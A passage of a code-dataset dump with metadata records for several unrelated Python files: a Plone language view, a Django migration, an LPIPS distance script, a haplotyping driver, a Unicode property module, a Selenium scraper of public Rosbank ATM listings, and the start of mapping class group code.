"line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 156, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 158, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 159, "usage_type": "attribute"}]} {"seq_id": "30142239997", "text": "from urllib import urlencode\n\nfrom Products.CMFCore.utils import getToolByName\n\nfrom zope.publisher.browser import BrowserView\nfrom zope.component import getUtility\nfrom zope.schema.interfaces import IVocabularyFactory\n\n\nclass NotAvailableView(BrowserView):\n \"\"\" View displayed if content is not available in the\n visitors' language\n \"\"\"\n\n def __init__(self, context, request):\n super(NotAvailableView, self).__init__(context, request)\n self.vocabulary = getUtility(IVocabularyFactory, 'plone.app.vocabularies.SupportedContentLanguages')(self.context)\n self.languageTool = getToolByName(self.context, 'portal_languages')\n self.language = self.vocabulary.getTerm(self.languageTool.getPreferredLanguage()).title\n\n def available_languages(self):\n available_languages = []\n field = self.context.Schema()['language_constraint']\n binding = self.request.get('LANGUAGE_TOOL', None)\n if binding is None:\n self.languageTool.setLanguageBindings()\n binding = self.request.get('LANGUAGE_TOOL')\n language = binding.LANGUAGE\n url = self.context.absolute_url() + '/switchLanguage?'\n for lang in field.get(self.context):\n binding.LANGUAGE = lang\n available_languages.append({\n 'language': self.vocabulary.getTerm(lang).title,\n 'title': self.context.Title(),\n 'description': self.context.Description(),\n 'url': url + urlencode({\n 'set_language': lang\n })\n })\n binding.LANGUAGE = language\n return available_languages\n\n def __call__(self):\n self.request.response.setStatus(404)\n return self.index()\n", "repo_name": "Raptus/raptus.multilanguageconstraint", "sub_path": "src/raptus/multilanguageconstraint/browser/notavailable.py", "file_name": "notavailable.py", "file_ext": "py", "file_size_in_byte": 1755, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "zope.publisher.browser.BrowserView", "line_number": 10, "usage_type": "name"}, {"api_name": "zope.component.getUtility", "line_number": 17, "usage_type": "call"}, {"api_name": "zope.schema.interfaces.IVocabularyFactory", "line_number": 17, "usage_type": "argument"}, {"api_name": "Products.CMFCore.utils.getToolByName", "line_number": 18, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 36, "usage_type": "call"}]} {"seq_id": "35706268216", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Article',\n fields=[\n ('id', models.IntegerField(serialize=False, primary_key=True)),\n ('title', models.CharField(max_length=100)),\n ('introduce', models.TextField(null=True, blank=True)),\n ('category', models.CharField(max_length=50, blank=True)),\n ('date_time', models.DateTimeField(auto_now_add=True)),\n ('content', models.TextField(null=True, blank=True)),\n ],\n options={\n 'ordering': ['-date_time'],\n },\n bases=(models.Model,),\n ),\n ]\n", "repo_name": "a916169754/bok", "sub_path": "my_blog/article/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 854, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}]} {"seq_id": "37672356994", "text": "import pickle, pathlib\nimport numpy as np\nimport torch\nimport torchvision\nimport lpips\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--path\", default=\"lpips/bm\", type=str, required=True)\nparser.add_argument(\"--net\", default=\"alex\", type=str, required=True)\nparser.add_argument(\"--gpu\", action=\"store_true\")\nparser.add_argument(\"--batch_size\", default=None, type=int)\nargs = parser.parse_args()\nprint(args)\n\nloss_fn = lpips.LPIPS(net=args.net)\nif args.gpu: loss_fn = loss_fn.cuda()\n\ntrain_dataset = torchvision.datasets.ImageFolder(\"../datasets/bm/train\", transform=torchvision.transforms.ToTensor())\nvalid_dataset = torchvision.datasets.ImageFolder(\"../datasets/bm/valid\", transform=torchvision.transforms.ToTensor())\ntest_dataset = torchvision.datasets.ImageFolder(\"../datasets/bm/test\", transform=torchvision.transforms.ToTensor())\ntrain_batch_size = len(train_dataset) if args.batch_size is None else args.batch_size\nvalid_batch_size = len(valid_dataset) if args.batch_size is None else args.batch_size\ntest_batch_size = len(test_dataset) if args.batch_size is None else args.batch_size\ntrain_loader = torch.utils.data.DataLoader(train_dataset, batch_size=train_batch_size)\nvalid_loader = torch.utils.data.DataLoader(valid_dataset, batch_size=valid_batch_size)\ntest_loader = torch.utils.data.DataLoader(test_dataset, batch_size=test_batch_size)\n\ndef get_dist(a, bs):\n if args.batch_size:\n dabs = []\n for i, b in enumerate(train_loader):\n if args.gpu:\n a, b = a.cuda(), b[0].cuda()\n dabs.append(loss_fn.forward(a, b, normalize=True).cpu().numpy().ravel())\n dabs = np.hstack(dabs)\n else:\n dl = torch.utils.data.DataLoader(bs, batch_size=len(bs))\n bs = next(iter(dl))[0]\n if args.gpu:\n a, bs = a.cuda(), bs.cuda()\n dabs = loss_fn.forward(a, bs, normalize=True).cpu().numpy().ravel()\n return dabs\n\nwith torch.no_grad():\n dttt, dvtt, dstt = [], [], []\n for i, batch in enumerate(train_dataset):\n if args.batch_size and i % 10 == 0: print(\"Example i:\", i)\n dttt.append(get_dist(batch[0], train_dataset))\n print(\"train finished\")\n for i, batch in enumerate(valid_dataset):\n if args.batch_size and i % 10 == 0: print(\"Example i:\", i)\n dvtt.append(get_dist(batch[0], train_dataset))\n print(\"valid finished\")\n for i, batch in enumerate(test_dataset):\n if args.batch_size and i % 10 == 0: print(\"Example i:\", i)\n dstt.append(get_dist(batch[0], train_dataset))\n print(\"test finished\")\n\nmat_dttt = np.vstack(dttt)\nmat_dvtt = np.vstack(dvtt)\nmat_dstt = np.vstack(dstt)\nprint(mat_dttt.shape, mat_dvtt.shape, mat_dstt.shape)\npath = \"../embeds/\" + args.path\npathlib.Path(path).mkdir(parents=True, exist_ok=True)\npickle.dump(mat_dttt, open(f\"{path}/lpips.{args.net}.dttt.pkl\", \"wb\"))\npickle.dump(mat_dvtt, open(f\"{path}/lpips.{args.net}.dvtt.pkl\", \"wb\"))\npickle.dump(mat_dstt, open(f\"{path}/lpips.{args.net}.dstt.pkl\", \"wb\"))", "repo_name": "harry-tian/ai-driven-tutorial", "sub_path": "models/lpips/lpips_bm.py", "file_name": "lpips_bm.py", "file_ext": "py", "file_size_in_byte": 3006, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 8, "usage_type": "call"}, {"api_name": "lpips.LPIPS", "line_number": 16, "usage_type": "call"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 19, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 20, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 20, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 21, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 21, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 21, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 25, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 27, "usage_type": "attribute"}, {"api_name": "numpy.hstack", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 62, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 65, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 66, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 67, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 68, "usage_type": "call"}]} {"seq_id": "27118575027", "text": "# -*- coding=utf-8 -*-\n\nfrom pulp_model import *\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\n\n\n# ============================================================================ #\n# GET DATA #\n# ============================================================================ #\n\n\ndef get_data(filePath: str):\n \"\"\"Read the matrix and parse it to a DataFrame\"\"\"\n df = pd.read_csv(filePath, index_col=0)\n df.columns = [f'c{c}' for c in df.columns.values]\n df.index = [f'r{i}_{r}' for r, i in enumerate(df.index.values)]\n return df\n\n\ndef stat_on_artificial_data():\n \"\"\"Run all artificial data to get the stat\"\"\"\n FILES = [file for file in os.listdir(\n 'data') if file.startswith('artificial_data')]\n print('Dim', 'Step', '|V|', '|E|', 'Time', 'Opt',\n 'Root relaxation', 'Iterations', 'Nodes explored', sep=',')\n for file in FILES:\n df = get_data('data/'+file)\n cut_solve(df, idFile=file[16:-4])\n\n\n# ============================================================================ #\n# ILLUSTRATION #\n# ============================================================================ #\n\n\ndef illustrate_matrix(figure, dataframe):\n plt.figure(figure, figsize=(10, 10))\n sns.heatmap(dataframe, cbar=False, cmap='binary', square=True)\n\n\ndef illustrate_solutions(figure, dataframe):\n return\n\n# ============================================================================ #\n# MAIN #\n# ============================================================================ #\n\n\nif __name__ == '__main__':\n\n df = get_data('data/problem_2.csv')\n solutions = single_solve(df, printLog=True, printVar = False, min_col=5, min_row=5) \n \n reads,cols,rem_r, rem_c = recluster(solutions,df) \n\n\n print(df.mode().mode())\n\n # plotting\n # plt.rcParams.update({'font.size': 6})\n # illustrate_matrix(0,df)\n # illustrate_matrix(1,df.loc[reads+rem_r,cols+rem_c])\n # plt.show()\n\n # stat_on_artificial_data()\n\n", "repo_name": "tmtktmtk/haploytyping_mip_gurobi", "sub_path": "__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2195, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "seaborn.heatmap", "line_number": 41, "usage_type": "call"}]} {"seq_id": "74040774624", "text": "\"\"\"\nProvides unicode support because JavaScript code is encoded with Unicode.\n\"\"\"\n\nfrom datetime import datetime\nfrom email.utils import parsedate\nimport unicodedata\nimport requests\n\n\n######################################\n# HTTP Requesting Unicode Data #\n######################################\n\n# Thanks to https://stackoverflow.com/questions/1471987/how-do-i-parse-an-http-date-string-in-python\ndef _HTTP_Header_to_datetime(httpDatetime):\n if httpDatetime is None:\n return None\n return datetime(*parsedate(httpDatetime)[:6])\n\n\ndef getUnicodePropertyListData():\n def _removeComments(line):\n index = line.find('#')\n if index == -1:\n return line\n else:\n return line[:index]\n\n def _toRangeAndName(line):\n line = {\n \"range\": line[0].strip(),\n \"name\": line[1].strip()\n }\n\n if \"..\" in line[\"range\"]:\n start, end = [int(part, 16) for part in line[\"range\"].split('..')]\n line[\"range\"] = list(range(start, end + 1))\n else:\n # An array with only one code point\n line[\"range\"] = [int(line[\"range\"], 16)]\n\n return line\n\n lines = latestPropertyListDataRequest.text.split('\\n')\n lines = [_removeComments(line) for line in lines]\n lines = [line.strip() for line in lines] # Equivalent to .trim() in JS\n\n # 1. Filters lines that don't have ';'\n # 2. Splits lines into two parts: the range and the name\n lines = [line.split(';') for line in lines if ';' in line]\n lineData = [_toRangeAndName(line) for line in lines]\n data = {}\n\n for element in lineData:\n if element['name'] not in data:\n data[element['name']] = []\n\n data[element['name']] += element['range']\n\n for key in data:\n data[key] = list(set(data[key]))\n\n return data\n\n\ndef updatePropertyListData():\n global latestPropertyListDataRequest\n global latestPropertyListDataRequestTime\n global PropertyListDataLastModified\n global PropertyListData\n latestPropertyListDataRequest = requests.get(\n \"https://www.unicode.org/Public/14.0.0/ucd/PropList-14.0.0d9.txt\")\n latestPropertyListDataRequestTime = _HTTP_Header_to_datetime(\n latestPropertyListDataRequest.headers.get('Date', None))\n PropertyListDataLastModified = _HTTP_Header_to_datetime(\n latestPropertyListDataRequest.headers.get('Last-Modified', None))\n PropertyListData = getUnicodePropertyListData()\n\n\nlatestPropertyListDataRequest = None\nlatestPropertyListDataRequestTime = None\nPropertyListDataLastModified = None\nPropertyListData = None\nupdatePropertyListData()\n\n\n######################################\n# Handy Unicode Functions #\n######################################\n\n# def codePointsOfString (string):\n# return [ord(character) for character in string]\n\n\n######################################\n# Unicode Category Functions #\n######################################\n\nUNICODE_GENERAL_CATEGORY_VALUES = {\n \"Uppercase_Letter\": {\n \"Abbreviation\": \"Lu\",\n \"Description\": \"an uppercase letter\"\n },\n \"Lowercase_Letter\": {\n \"Abbreviation\": \"Ll\",\n \"Description\": \"a lowercase letter\"\n },\n \"Titlecase_Letter\": {\n \"Abbreviation\": \"Lt\",\n \"Description\": \"a digraphic character, with first part uppercase\"\n },\n \"Cased_Letter\": {\n \"Abbreviation\": \"LC\",\n \"Description\": (\"Lu\", \"Ll\", \"Lt\")\n },\n \"Modifier_Letter\": {\n \"Abbreviation\": \"Lm\",\n \"Description\": \"a modifier letter\"\n },\n \"Other_Letter\": {\n \"Abbreviation\": \"Lo\",\n \"Description\": \"other letters, including syllables and ideographs\"\n },\n \"Letter\": {\n \"Abbreviation\": \"L\",\n \"Description\": (\"Lu\", \"Ll\", \"Lt\", \"Lm\", \"Lo\")\n },\n \"Nonspacing_Mark\": {\n \"Abbreviation\": \"Mn\",\n \"Description\": \"a nonspacing combining mark (zero advance width)\"\n },\n \"Spacing_Mark\": {\n \"Abbreviation\": \"Mc\",\n \"Description\": \"a spacing combining mark (positive advance width)\"\n },\n \"Enclosing_Mark\": {\n \"Abbreviation\": \"Me\",\n \"Description\": \"an enclosing combining mark\"\n },\n \"Mark\": {\n \"Abbreviation\": \"M\",\n \"Description\": (\"Mn\", \"Mc\", \"Me\")\n },\n \"Decimal_Number\": {\n \"Abbreviation\": \"Nd\",\n \"Description\": \"a decimal digit\"\n },\n \"Letter_Number\": {\n \"Abbreviation\": \"Nl\",\n \"Description\": \"a letterlike numeric character\"\n },\n \"Other_Number\": {\n \"Abbreviation\": \"No\",\n \"Description\": \"a numeric character of other type\"\n },\n \"Number\": {\n \"Abbreviation\": \"N\",\n \"Description\": (\"Nd\", \"Nl\", \"No\")\n },\n \"Connector_Punctuation\": {\n \"Abbreviation\": \"Pc\",\n \"Description\": \"a connecting punctuation mark, like a tie\"\n },\n \"Dash_Punctuation\": {\n \"Abbreviation\": \"Pd\",\n \"Description\": \"a dash or hyphen punctuation mark\"\n },\n \"Open_Punctuation\": {\n \"Abbreviation\": \"Ps\",\n \"Description\": \"an opening punctuation mark (of a pair)\"\n },\n \"Close_Punctuation\": {\n \"Abbreviation\": \"Pe\",\n \"Description\": \"a closing punctuation mark (of a pair)\"\n },\n \"Initial_Punctuation\": {\n \"Abbreviation\": \"Pi\",\n \"Description\": \"an initial quotation mark\"\n },\n \"Final_Punctuation\": {\n \"Abbreviation\": \"Pf\",\n \"Description\": \"a final quotation mark\"\n },\n \"Other_Punctuation\": {\n \"Abbreviation\": \"Po\",\n \"Description\": \"a punctuation mark of other type\"\n },\n \"Punctuation\": {\n \"Abbreviation\": \"P\",\n \"Description\": (\"Pc\", \"Pd\", \"Ps\", \"Pe\", \"Pi\", \"Pf\", \"Po\")\n },\n \"Math_Symbol\": {\n \"Abbreviation\": \"Sm\",\n \"Description\": \"a symbol of mathematical use\"\n },\n \"Currency_Symbol\": {\n \"Abbreviation\": \"Sc\",\n \"Description\": \"a currency sign\"\n },\n \"Modifier_Symbol\": {\n \"Abbreviation\": \"Sk\",\n \"Description\": \"a non-letterlike modifier symbol\"\n },\n \"Other_Symbol\": {\n \"Abbreviation\": \"So\",\n \"Description\": \"a symbol of other type\"\n },\n \"Symbol\": {\n \"Abbreviation\": \"S\",\n \"Description\": (\"Sm\", \"Sc\", \"Sk\", \"So\")\n },\n \"Space_Separator\": {\n \"Abbreviation\": \"Zs\",\n \"Description\": \"a space character (of various non-zero widths)\"\n },\n \"Line_Separator\": {\n \"Abbreviation\": \"Zl\",\n \"Description\": \"U+2028 LINE SEPARATOR only\"\n },\n \"Paragraph_Separator\": {\n \"Abbreviation\": \"Zp\",\n \"Description\": \"U+2029 PARAGRAPH SEPARATOR only\"\n },\n \"Separator\": {\n \"Abbreviation\": \"Z\",\n \"Description\": (\"Zs\", \"Zl\", \"Zp\")\n },\n \"Control\": {\n \"Abbreviation\": \"Cc\",\n \"Description\": \"a C0 or C1 control code\"\n },\n \"Format\": {\n \"Abbreviation\": \"Cf\",\n \"Description\": \"a format control character\"\n },\n \"Surrogate\": {\n \"Abbreviation\": \"Cs\",\n \"Description\": \"a surrogate code point\"\n },\n \"Private_Use\": {\n \"Abbreviation\": \"Co\",\n \"Description\": \"a private-use character\"\n },\n \"Unassigned\": {\n \"Abbreviation\": \"Cn\",\n \"Description\": \"a reserved unassigned code point or a noncharacter\"\n },\n \"Other\": {\n \"Abbreviation\": \"C\",\n \"Description\": (\"Cc\", \"Cf\", \"Cs\", \"Co\", \"Cn\")\n }\n}\n\n\ndef IsInCategory(char, category):\n \"\"\"\n Checks if a given character is in a specific unicode category.\n See http://www.unicode.org/reports/tr44/#General_Category_Values\n \"\"\"\n category = UNICODE_GENERAL_CATEGORY_VALUES[category]\n if unicodedata.category(char) == category[\"Abbreviation\"]:\n return True\n elif isinstance(category[\"Description\"], tuple):\n return unicodedata.category(char) in category[\"Description\"]\n\n return False\n\n\ndef IsInCategories(char, categories):\n \"\"\"\n Checks if a given character is in a group of multiple categories\n Similar to \n \"\"\"\n for category in categories:\n if IsInCategory(char, category):\n return True\n\n return False\n\n\ndef HasProperty(char, property_name):\n \"\"\"\n Checks if a given character has a unicode property\n See https://www.unicode.org/reports/tr31/#Table_Lexical_Classes_for_Identifiers\n See https://www.unicode.org/reports/tr44/tr44-26.html#Other_ID_Continue\n See https://www.unicode.org/Public/14.0.0/ucd/PropList-14.0.0d9.txt\n \"\"\"\n return ord(char) in PropertyListData[property_name]\n\n\ndef HasPropertyID_Start(char):\n \"\"\"\n Checks if a given character has the unicode property ID_Start;\n A Letter, or a Letter_Number, or Other_ID_Start,\n but not Pattern_Syntax or Pattern_White_Space\n\n See \n \"\"\"\n if IsInCategory(char, (\"Letter\", \"Letter_Number\")) or HasProperty(char, \"Other_ID_Start\"):\n return not (HasProperty(char, \"Pattern_Syntax\") or HasProperty(char, \"Pattern_White_Space\"))\n return False\n\n\ndef HasPropertyID_Continue(char):\n \"\"\"\n Checks if a given character has the unicode property ID_Start;\n which includes\n - ID_Start\n - Nonspacing_Mark\n - Spacing_Mark\n - Decimal_Number\n - Connector_Punctuation\n - Other_ID_Continue\n but not Pattern_Syntax or Pattern_White_Space\n\n See \n \"\"\"\n huge_condition = (\n HasPropertyID_Start(char) or\n IsInCategories(char, (\"Nonspacing_Mark\", \"Spacing_Mark\", \"Decimal_Number\", \"Connector Punctuation\")) or\n HasProperty(char, \"Other_ID_Continue\")\n )\n\n if huge_condition:\n return not (HasProperty(char, \"Pattern_Syntax\") or HasProperty(char, \"Pattern_White_Space\"))\n return False\n", "repo_name": "icecream17/PythonEcmascriptInterpreter", "sub_path": "js_interpreter/_unicode/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 9555, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime", "line_number": 19, "usage_type": "call"}, {"api_name": "email.utils.parsedate", "line_number": 19, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 72, "usage_type": "call"}, {"api_name": "unicodedata.category", "line_number": 262, "usage_type": "call"}, {"api_name": "unicodedata.category", "line_number": 265, "usage_type": "call"}]} {"seq_id": "35503730196", "text": "# -*- coding: utf-8 -*-\n\"\"\"Адреса банкоматов Росбанка и партнеров.\n\nНа сайте Росбанка есть список банкоматов включая партнеров.\nНаиболее ценная информация, содержащаяся в этом списке - доступные операции и\nрежим работы каждого банкомата. Также по ссылке \"показать на карте\"\nможно вытащить координаты.\n\"\"\"\nimport json\nimport logging\nimport os\nimport re\nfrom random import randint\nfrom time import sleep\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.keys import Keys\nfrom tqdm import tqdm\n\n\ndef dump_json(file_name, data):\n \"\"\"Записываем структуру данных data на диск в формате JSON.\"\"\"\n with open(file_name, 'w') as f:\n json.dump(data, f, ensure_ascii=False, indent=4)\n os.fsync(f.fileno())\n f.flush()\n\n\ndef get_regions(driver: webdriver):\n \"\"\"Получаем список регионов.\n\n :param driver: selenium.webdriver\n :returns: [{'region_id': str, 'region_name': str}]\n\n \"\"\"\n regions = list()\n driver.get(\"https://www.rosbank.ru/ru/system/regions.php\")\n for elem in driver.find_elements_by_xpath(\"//a[@href]\"):\n href = elem.get_attribute(\"href\")\n region_name = elem.text\n if 'region=' in href:\n region_id = re.sub(r'^.*region=(\\d+)$', r'\\1', href)\n regions.append({'region_id': region_id, 'region_name': region_name})\n return regions\n\n\ndef get_atms(driver: webdriver, city_name: str, region_name: str):\n \"\"\"Проходим по всем страницам, и получаем список банкоматов.\n\n :driver: selenium.webdriver\n :returns: [{ ... }]\n\n \"\"\"\n pages = 0\n rows = list()\n has_next_page = True\n\n while has_next_page:\n pages = pages + 1\n for row in driver.find_elements_by_class_name('page-atm__table_row'):\n rows.append({\n 'region': region_name,\n 'city': city_name,\n 'bank': row.find_element_by_class_name('address-logo').text,\n 'address_title': row.find_element_by_class_name('address-title').text,\n 'address_type': row.find_element_by_class_name('address-type').text,\n 'working_time': row.find_element_by_class_name('page-atm__table_col--time').text,\n 'currency': row.find_element_by_class_name('page-atm__table_col--currency').text,\n 'address_metro': row.find_element_by_class_name('address-metro').text,\n 'address_map': (\n row\n .find_element_by_class_name('address-map')\n .find_element_by_link_text('Показать на карте')\n .get_attribute(\"href\")\n )\n })\n\n try:\n sleep(randint(1, 3))\n driver.find_element_by_class_name('pagination-arrow--next').click()\n except NoSuchElementException:\n has_next_page = False\n\n logging.info('{}: {} (pages: {}; atms: {})'.format(region_name, city_name, pages, len(rows)))\n return rows\n\n\ndef main(driver):\n \"\"\"Получаем адреса с сайта https://www.rosbank.ru/ru/.\n\n На сайте Росбанка можно увидеть список всех банкоматов, часы их работы и\n возможные операции. Чтобы получить эту информацию будем последовательно\n перебирать все города и регионы.\n \"\"\"\n rows = list()\n re_long = re.compile(r'var\\slong=([\\d\\.]+);')\n re_lati = re.compile(r'var\\slati=([\\d\\.]+);')\n base_url = 'https://www.rosbank.ru/ru/'\n region_page_tpl = base_url + 'atms/list.php?region={}'\n city_page_tpl = (\n base_url +\n 'atms/list.php?p_f_2_11={}&metrocity=-1&p_f_2_22=0&street=&p_f_2_temp_id=459&p_f_2_all=1'\n )\n\n regions = get_regions(driver)\n for i, region in enumerate(regions):\n region_page = region_page_tpl.format(region['region_id'])\n logging.info('{} ({})'.format(region['region_name'], region['region_id']))\n driver.get(region_page)\n\n cities = list()\n city_drop_down = driver.find_element_by_class_name('dropdown-box__inner')\n for city in city_drop_down.find_elements_by_xpath(\".//a[@data-value]\"):\n cities.append({\n 'city_name': city.get_attribute('data-value'),\n 'city_href': city_page_tpl.format(city.get_attribute('data-value'))\n })\n\n for city in cities:\n driver.get(city['city_href'])\n city_atms = get_atms(driver, city['city_name'], region['region_name'])\n\n for atm in city_atms:\n address_map = atm.get('address_map')\n if address_map is None:\n continue\n\n driver.get(address_map)\n script_tag = driver.find_element_by_xpath(\"//div[@class='container']//script[@type='text/javascript']\")\n\n script_text = re.sub(r'\\s+', ' ', script_tag.get_attribute('innerHTML'))\n atm['script_text'] = script_text\n atm['long'] = ''\n atm['lat'] = ''\n\n search_long = re_long.search(script_text)\n search_lati = re_lati.search(script_text)\n if search_long is not None:\n atm['long'] = search_long.group(1)\n if search_lati is not None:\n atm['lat'] = search_lati.group(1)\n\n rows.extend(city_atms)\n dump_json('../workspace/rosbank_atm.json', rows)\n sleep(randint(1, 10))\n\n dump_json('../workspace/rosbank_atm.json', rows)\n\n\nif __name__ == '__main__':\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n\n options = Options()\n options.headless = True\n driver = webdriver.Chrome(options=options)\n main(driver)\n", "repo_name": "userusr/rosbank_happy_data_year", "sub_path": "scripts/30-rosbank-atm.py", "file_name": "30-rosbank-atm.py", "file_ext": "py", "file_size_in_byte": 6297, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.dump", "line_number": 26, "usage_type": "call"}, {"api_name": "os.fsync", "line_number": 27, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 31, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 44, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 49, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 81, "usage_type": "call"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 83, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 86, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 98, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 99, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 110, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 133, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 147, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 147, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 154, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 154, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 156, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 158, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 158, "usage_type": "name"}]} {"seq_id": "12962485146", "text": "import operator\nimport scipy\nfrom scipy.spatial import ConvexHull, convex_hull_plot_2d\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom shapely.geometry import Polygon\nfrom shapely.geometry import MultiPoint, Point\n\ndef WalkOnList(L):\n #produces the walk determined by adding points together succesively\n length = len(L)\n pts = [(0,0)]\n for k in range(length):\n pts.append(tuple(map(operator.add, pts[-1], L[k])))\n return(pts) \n\ndef HullPlot(L):\n #plots the convex hull of the walk above\n pts = WalkOnList(L)\n newpts = np.asarray(pts)\n hull = ConvexHull(newpts)\n plt.plot(newpts[:, 0], newpts[:,1], 'o')\n for simplex in hull.simplices:\n plt.plot(newpts[simplex, 0], newpts[simplex, 1], 'k-')\n \nfrom sympy import symbols, Symbol\nx, y, z, w, X, Y, Z, W = symbols('x, y, z, w, X, Y, Z, W')\n\n#These coming functions a, b, ... C, D represent the standard generators of the MCG and their inverses\n\ndef a(t):\n #input as a symbol\n if t == Symbol('x'):\n return (Symbol('Z'), Symbol('x'))\n if t == Symbol('X'):\n return (Symbol('X'), Symbol('z'))\n else:\n return(t)\n \ndef b(t):\n #input as a symbol\n if t == Symbol('z'):\n return (Symbol('x'), Symbol('z'))\n if t == Symbol('Z'):\n return (Symbol('Z'), Symbol('X'))\n else:\n return(t)\n \ndef c(t):\n #input as a symbol\n if t == Symbol('x'):\n return (Symbol('x'), Symbol('w'), Symbol('Z'))\n if t == Symbol('y'):\n return (Symbol('y'), 